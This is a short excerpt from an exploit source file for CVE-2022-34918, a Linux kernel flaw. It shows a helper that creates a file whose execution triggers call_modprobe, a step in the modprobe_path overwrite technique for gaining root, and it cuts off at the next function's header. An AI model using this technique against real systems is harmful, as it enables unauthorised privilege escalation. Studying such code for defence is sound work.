Function create_dummy_file

CVE-2022-34918/exploit/exploit.c:302–307

create_dummy_file(): Create a file to trigger call_modprobe in case of execution

// create_dummy_file(): Create a file to trigger call_modprobe in case of execution
void create_dummy_file(void) {
    int fd;
    fd = open(dummy_file, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);
    write(fd, dummy_content, sizeof(dummy_content));
    close(fd);
}

// get_new_modprobe_path(): Read the new modprobe_path (read it from /proc/sys/kernel/modprobe)
char *get_new_modprobe_path(void) {